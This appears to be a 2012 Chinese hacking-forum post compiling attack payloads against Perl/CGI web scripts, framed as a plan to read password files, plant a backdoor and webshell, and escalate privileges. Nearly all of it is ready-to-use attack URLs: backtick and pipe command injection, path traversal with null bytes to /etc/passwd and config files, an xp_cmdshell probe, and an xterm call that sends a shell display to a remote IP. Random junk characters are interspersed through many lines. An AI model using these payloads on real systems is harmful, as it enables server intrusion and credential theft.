找回密码
 立即注册
查看: 3301|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  6 y! Q0 G. a  v
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  2 X3 ~7 I: C: _
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  3 l9 Y! m/ v0 r% _
注“  
0 [; X# B2 y  r# G' u, r9 cperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  & n1 }; x5 W! ]# G& F) @& m& p
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  : m9 q- X1 y+ A; ?

0 y! s: b$ y: ahttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  9 S! Y/ y* q/ f% ]9 K7 Z
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
  l' }6 G1 P4 ^. g: Fhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  1 ~4 f! t- {) B3 P+ |; C3 S
http://target.com/cgi-bin/home/news/sub.pl?`id`  * l2 S" R: L  E/ l$ B. _7 m$ R
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
# A6 Z: v6 Y. n" a( f2 Y8 Dhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  ( V3 m3 c) p6 q0 z3 n

" l9 x# @9 @5 `3 Phttp://target.com/test.pl;ls|  
3 T9 I; Y0 ?4 ?& v& \( Jhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
' {7 R/ W9 g, M& f) Q8 ohttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  % k/ R8 ]4 R8 b4 Q$ o( x+ V( v
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
  D  h( G4 w5 a0 d5 |7 k比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
1 i6 X' F/ Z0 f: C+ yhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  ! a+ J/ H$ m# Y7 N

' J0 ?  L* B# Xhttp://target.com/test.pl?&........ /../../etc/passwd  
% ~0 G( f6 y& h* S9 B2 @/ ?9 F5 |6 i; \
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
9 \$ U8 i% A& j% M8 j% A; [http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
6 H$ {9 V, C- N3 d- I6 f  Hhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
' `7 |% G5 @; {+ q5 ?) c" R
% f6 T' `% ]) f- Lhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
% m6 e: `6 }5 B+ A7 ghttp://www.target.org/show.php?f ... ng/admin/global.php  
) A; y+ g2 K, h7 R, I  G( F7 U& X7 H' p0 k0 Q7 B
emm和ps的一句话+ X; S/ d/ G) Y  H( L; c3 v) u3 Q

0 X9 ~$ {0 F3 u3 |% w2 ohttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  6 M6 A. r" o& X* q/ U/ ]/ l( G
* m( e6 f* _  J: M
>bbb%20|  
( |1 n9 [4 S$ I" j4 t; k# p) h- X# @' p, R6 B: E8 b( l
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  / D, {0 f+ m) F% D7 i
; w1 w+ E$ b1 R/ c# q
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  . L; \9 [* t0 |3 H; c, f
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  , S7 h7 D4 `6 V% l% F
" k9 c9 @) k) U" g( L. n
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
. j" C% k, o, ], Mhttp://target.com/index.html#cmd.exe  
. l' @: R0 H8 ]* K9 Fhttp://target.com/index.html?dummyparam=xp_cmdshell  
, x4 `3 k# l2 [# E6 k! r+ N* qlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  5 e& A5 i4 ~0 ?% J2 A. P3 Q! d3 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表